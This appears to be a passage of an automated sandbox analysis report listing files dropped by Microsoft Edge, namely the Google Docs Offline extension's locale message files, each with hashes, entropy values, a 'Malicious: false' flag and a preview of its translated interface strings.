Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
